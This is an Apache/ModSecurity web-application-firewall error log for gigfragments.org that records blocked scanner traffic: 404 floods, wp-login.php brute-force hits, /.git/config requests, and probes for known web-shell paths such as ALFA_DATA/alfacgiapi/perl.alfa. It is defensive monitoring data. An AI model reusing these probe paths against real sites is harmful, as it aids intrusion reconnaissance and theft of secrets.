[Tue Feb 17 20:59:01.975575 2026] [:error] [pid 2727:tid 2747] [client 93.218.116.155:60545] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZRmFSIYJerZs7d7DPuKOQAAApI"]
[Tue Feb 17 20:59:04.136155 2026] [:error] [pid 58659:tid 58671] [client 93.218.116.155:60568] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZRmGMDX32iTEO4jt29XjQAAAMo"]
[Tue Feb 17 20:59:04.858849 2026] [:error] [pid 58551:tid 58570] [client 93.218.116.155:60570] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZRmGK1t8eWr-MgFspqxAgAAAAo"]
[Tue Feb 17 20:59:09.132197 2026] [:error] [pid 42555:tid 42557] [client 93.218.116.155:60625] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZRmHfCCGB-bBphvas3B6QAAAYA"]
[Tue Feb 17 20:59:09.805256 2026] [:error] [pid 58558:tid 58644] [client 93.218.116.155:60629] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZRmHSmIxlfUL2nViZwC1gAAAJY"]
[Tue Feb 17 20:59:12.187358 2026] [:error] [pid 2727:tid 2744] [client 93.218.116.155:60654] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZRmICIYJerZs7d7DPuKRQAAAo8"]
[Tue Feb 17 20:59:13.696926 2026] [:error] [pid 58551:tid 58570] [client 93.218.116.155:60662] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZRmIa1t8eWr-MgFspqxCgAAAAo"]
[Tue Feb 17 20:59:18.234911 2026] [:error] [pid 13106:tid 13124] [client 93.218.116.155:60707] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZRmJrBEWrYCV-0FRdobtQAAAU4"]
[Tue Feb 17 20:59:18.849388 2026] [:error] [pid 2605:tid 2624] [client 93.218.116.155:60712] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZRmJhliizaiVjfuA2CIewAAAhA"]
[Tue Feb 17 20:59:25.086846 2026] [:error] [pid 13106:tid 13110] [client 93.218.116.155:60755] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZRmLbBEWrYCV-0FRdobwQAAAUA"]
[Tue Feb 17 20:59:25.690989 2026] [:error] [pid 42555:tid 42563] [client 93.218.116.155:60764] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZRmLfCCGB-bBphvas3CCgAAAYY"]
[Tue Feb 17 21:01:04.801296 2026] [:error] [pid 13106:tid 13127] [client 93.218.116.155:61627] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aZRmkLBEWrYCV-0FRdocJQAAAVE"]
[Tue Feb 17 21:01:05.460914 2026] [:error] [pid 2606:tid 2648] [client 93.218.116.155:61720] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aZRmkVFV84PnUA8QSAi2eQAAAk0"]
[Tue Feb 17 21:01:06.114778 2026] [:error] [pid 58558:tid 58633] [client 93.218.116.155:61726] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aZRmkimIxlfUL2nViZwDmwAAAIs"]
[Tue Feb 17 21:02:02.972212 2026] [:error] [pid 58551:tid 58563] [client 103.77.106.246:61064] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZRmyq1t8eWr-MgFspqyYAAAAAM"]
[Tue Feb 17 21:39:44.623096 2026] [:error] [pid 2605:tid 2611] [client 170.106.72.93:48802] [client 170.106.72.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZRvoBliizaiVjfuA2CPQwAAAgM"]
[Tue Feb 17 22:13:14.321685 2026] [:error] [pid 58551:tid 58573] [client 103.77.106.246:54964] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZR3eq1t8eWr-MgFsprIAwAAAA0"]
[Tue Feb 17 22:51:25.796928 2026] [:error] [pid 2575:tid 2596] [client 49.51.195.195:52952] [client 49.51.195.195] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZSAbc0nHzM9JGTFE56NswAAAdM"]
[Tue Feb 17 23:24:40.500427 2026] [:error] [pid 2605:tid 2618] [client 103.77.106.246:65269] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZSIOBliizaiVjfuA2CfgwAAAgo"]
[Wed Feb 18 00:38:53.707579 2026] [:error] [pid 58551:tid 58565] [client 103.77.106.246:57227] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZSZna1t8eWr-MgFsprmigAAAAU"]
[Wed Feb 18 02:54:21.856015 2026] [:error] [pid 13106:tid 13129] [client 103.77.106.246:60673] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZS5XbBEWrYCV-0FRdp0dwAAAVM"]
[Wed Feb 18 04:52:12.297450 2026] [:error] [pid 21961:tid 21983] [client 103.77.106.246:55137] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZTU_MUBDt_-H0ms3gVFKwAAANQ"]
[Wed Feb 18 05:09:55.892417 2026] [:error] [pid 21847:tid 21870] [client 43.153.123.4:53692] [client 43.153.123.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZTZI_y9A5wy4LuXmJ2qiQAAAAw"]
[Wed Feb 18 05:57:46.929777 2026] [:error] [pid 21848:tid 21898] [client 141.98.11.182:63903] [client 141.98.11.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZTkWvbG91VRkVidT5cfXAAAAEk"]
[Wed Feb 18 06:06:31.258862 2026] [:error] [pid 5561:tid 5581] [client 103.77.106.246:53759] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZTmZ0oQssCZYQ4NexbiBQAAAVE"]
[Wed Feb 18 07:20:27.036324 2026] [:error] [pid 21847:tid 21860] [client 103.77.106.246:55868] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZT3u_y9A5wy4LuXmJ3eiAAAAAI"]
[Wed Feb 18 08:11:41.246132 2026] [:error] [pid 21847:tid 21860] [client 100.30.185.63:46518] [client 100.30.185.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aZUDvfy9A5wy4LuXmJ34IQAAAAI"]
[Wed Feb 18 08:22:26.326479 2026] [:error] [pid 21848:tid 21913] [client 20.65.61.3:1938] [client 20.65.61.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZUGQvbG91VRkVidT5dUjQAAAFg"]
[Wed Feb 18 08:22:26.432971 2026] [:error] [pid 21848:tid 21903] [client 20.65.61.3:1600] [client 20.65.61.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aZUGQvbG91VRkVidT5dUjgAAAE4"], referer: www.google.com
[Wed Feb 18 08:22:26.730509 2026] [:error] [pid 5561:tid 5582] [client 20.65.61.3:1924] [client 20.65.61.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aZUGQkoQssCZYQ4NexYL4AAAAVI"], referer: www.google.com
[Wed Feb 18 08:22:28.745456 2026] [:error] [pid 21847:tid 21866] [client 20.65.61.3:1217] [client 20.65.61.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ruaaovht.php"] [unique_id "aZUGRPy9A5wy4LuXmJ39hwAAAAg"], referer: www.google.com
[Wed Feb 18 08:22:33.556197 2026] [:error] [pid 21847:tid 21878] [client 20.65.61.3:1500] [client 20.65.61.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ruaaovht.php"] [unique_id "aZUGSfy9A5wy4LuXmJ39kQAAABQ"], referer: www.google.com
[Wed Feb 18 08:22:34.606225 2026] [:error] [pid 5561:tid 5586] [client 20.65.61.3:1092] [client 20.65.61.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ruaaovht.php"] [unique_id "aZUGSkoQssCZYQ4NexYL7QAAAVY"], referer: www.google.com
[Wed Feb 18 08:22:35.473816 2026] [:error] [pid 21848:tid 21902] [client 20.65.61.3:1672] [client 20.65.61.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ruaaovht.php"] [unique_id "aZUGS_bG91VRkVidT5dUoQAAAE0"], referer: www.google.com
[Wed Feb 18 08:22:39.001594 2026] [:error] [pid 21849:tid 21933] [client 20.65.61.3:1926] [client 20.65.61.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ruaaovht.php"] [unique_id "aZUGT7x9a1XrfTYnuzKjuAAAAJE"], referer: www.google.com
[Wed Feb 18 08:22:42.017237 2026] [:error] [pid 21849:tid 21929] [client 20.65.61.3:1928] [client 20.65.61.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aZUGUrx9a1XrfTYnuzKjwQAAAI0"], referer: www.google.com
[Wed Feb 18 08:22:44.155980 2026] [:error] [pid 57014:tid 57019] [client 20.65.61.3:1500] [client 20.65.61.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aZUGVBNZnhS5qKtVIMIwtgAAAQI"], referer: www.google.com
[Wed Feb 18 08:22:45.862761 2026] [:error] [pid 21849:tid 21938] [client 20.65.61.3:1927] [client 20.65.61.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aZUGVbx9a1XrfTYnuzKjxAAAAJY"], referer: www.google.com
[Wed Feb 18 08:22:47.330162 2026] [:error] [pid 21961:tid 21981] [client 20.65.61.3:6491] [client 20.65.61.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aZUGV8UBDt_-H0ms3gWKwAAAANI"], referer: www.google.com
[Wed Feb 18 08:22:47.537087 2026] [:error] [pid 57014:tid 57037] [client 20.65.61.3:1934] [client 20.65.61.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aZUGVxNZnhS5qKtVIMIwwgAAARQ"], referer: www.google.com
[Wed Feb 18 08:33:23.652844 2026] [:error] [pid 21849:tid 21932] [client 103.77.106.246:64297] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZUI07x9a1XrfTYnuzKnogAAAJA"]
[Wed Feb 18 08:50:26.716371 2026] [:error] [pid 21847:tid 21881] [client 45.67.97.52:58039] [client 45.67.97.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aZUM0vy9A5wy4LuXmJ0RIgAAABc"]
[Wed Feb 18 08:50:27.361443 2026] [:error] [pid 21847:tid 21871] [client 45.67.97.54:54249] [client 45.67.97.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aZUM0_y9A5wy4LuXmJ0RKwAAAA0"]
[Wed Feb 18 08:50:28.013296 2026] [:error] [pid 21847:tid 21862] [client 45.67.97.52:20997] [client 45.67.97.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aZUM1Py9A5wy4LuXmJ0RMQAAAAQ"]
[Wed Feb 18 09:03:22.986373 2026] [:error] [pid 21847:tid 21880] [client 158.158.51.6:25744] [client 158.158.51.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aZUP2vy9A5wy4LuXmJ0ZCgAAABY"]
[Wed Feb 18 09:03:35.663327 2026] [:error] [pid 21848:tid 21897] [client 158.158.51.6:25751] [client 158.158.51.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "aZUP5_bG91VRkVidT5doPQAAAEg"]
[Wed Feb 18 09:03:39.719784 2026] [:error] [pid 21849:tid 21916] [client 158.158.51.6:12145] [client 158.158.51.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "aZUP67x9a1XrfTYnuzK0zAAAAIA"]
[Wed Feb 18 09:03:45.987126 2026] [:error] [pid 21961:tid 21987] [client 158.158.51.6:7239] [client 158.158.51.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "aZUP8cUBDt_-H0ms3gWdxwAAANg"]
[Wed Feb 18 09:04:08.212432 2026] [:error] [pid 5561:tid 5571] [client 158.158.51.6:5662] [client 158.158.51.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file8.php"] [unique_id "aZUQCEoQssCZYQ4NexYdXwAAAUc"]
[Wed Feb 18 09:04:09.281594 2026] [:error] [pid 21848:tid 21907] [client 158.158.51.6:5651] [client 158.158.51.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file8.php"] [unique_id "aZUQCfbG91VRkVidT5doUgAAAFI"]
[Wed Feb 18 09:04:26.043858 2026] [:error] [pid 21961:tid 21969] [client 158.158.51.6:16656] [client 158.158.51.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aZUQGsUBDt_-H0ms3gWd2QAAAMY"]
[Wed Feb 18 09:04:28.577611 2026] [:error] [pid 21848:tid 21897] [client 158.158.51.6:5878] [client 158.158.51.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aZUQHPbG91VRkVidT5doYQAAAEg"]
[Wed Feb 18 10:01:54.510879 2026] [:error] [pid 21847:tid 21868] [client 103.77.106.246:56526] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZUdkvy9A5wy4LuXmJ02lwAAAAo"]
[Wed Feb 18 10:42:18.941675 2026] [:error] [pid 21848:tid 21899] [client 165.245.187.140:51167] [client 165.245.187.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/profile-builder/readme.txt"] [unique_id "aZUnCvbG91VRkVidT5eJqAAAAEo"]
[Wed Feb 18 11:11:47.764230 2026] [:error] [pid 5561:tid 5576] [client 100.30.185.63:46164] [client 100.30.185.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aZUt80oQssCZYQ4NexZEUAAAAUw"]
